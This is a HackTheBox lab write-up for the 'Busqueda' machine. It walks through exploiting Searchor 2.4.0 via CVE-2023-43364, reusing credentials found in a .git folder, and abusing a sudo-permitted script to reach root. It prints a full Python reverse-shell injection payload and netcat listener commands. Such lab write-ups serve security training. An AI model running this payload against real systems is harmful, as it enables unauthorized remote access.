HackTheBox - Machines - Busqueda

🕒 2025/01/20

image


1. Nmap

First, let's scan all the ports on the machine with nmap.

We discovered that port 80 is open.


2. Website

Next, we attempted to access the website.

At the bottom of the page, we found that the server was powered by Searchor version 2.4.0.


3. CVE-2023-43364 RCE

After researching Searchor 2.4.0, we found that it is vulnerable to CVE-2023-43364, which allows Remote Code Execution (RCE).

To exploit this vulnerability, we referenced this GitHub repository, which provides a proof of concept (PoC) for CVE-2023-43364.

  1. On our attacker machine, we set up a listener using netcat
    • nc -nvlp 443
      image
  2. On the target website, we injected the following payload into the input field to obtain a reverse shell.
    • image
      • ', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.7',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

As seen in the screenshot, we successfully obtained a reverse shell.


4. Sensitive File Exposure

During our enumeration, we discovered 2 .git folders/files

While investigating /var/www/app/.git/, we discovered sensitive information

After several attempts, we discovered that the password also belongs to svc.

As seen in the screenshot, we successfully logged in as svc.


5. Abusing sudo for Privilege Escalation

After further investigation, we discovered something interesting related to sudo permissions

We have root privileges to execute sudo /usr/bin/python3 /opt/scripts/system-checkup.py *.

Deepening our investigation:

Based on the above, we can assume that executing sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup will trigger the execution of full-checkup.sh in the directory where the command is executed.

To verify this, let's first craft a testing payload:

Now, we test it by executing the command again:

As seen in the screenshot, full-checkup.sh was executed from /home/svc/, which confirms our assumption.

With the execution flow confirmed, we can now proceed to craft the actual payload:

  1. On our attacker machine, we set up a listener using netcat
    • nc -nvlp 443
      image
  2. On the target machine, we executing the command once again:
    • /home/svc$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
      image

As seen in the screenshot, we successfully escalated to root privileges.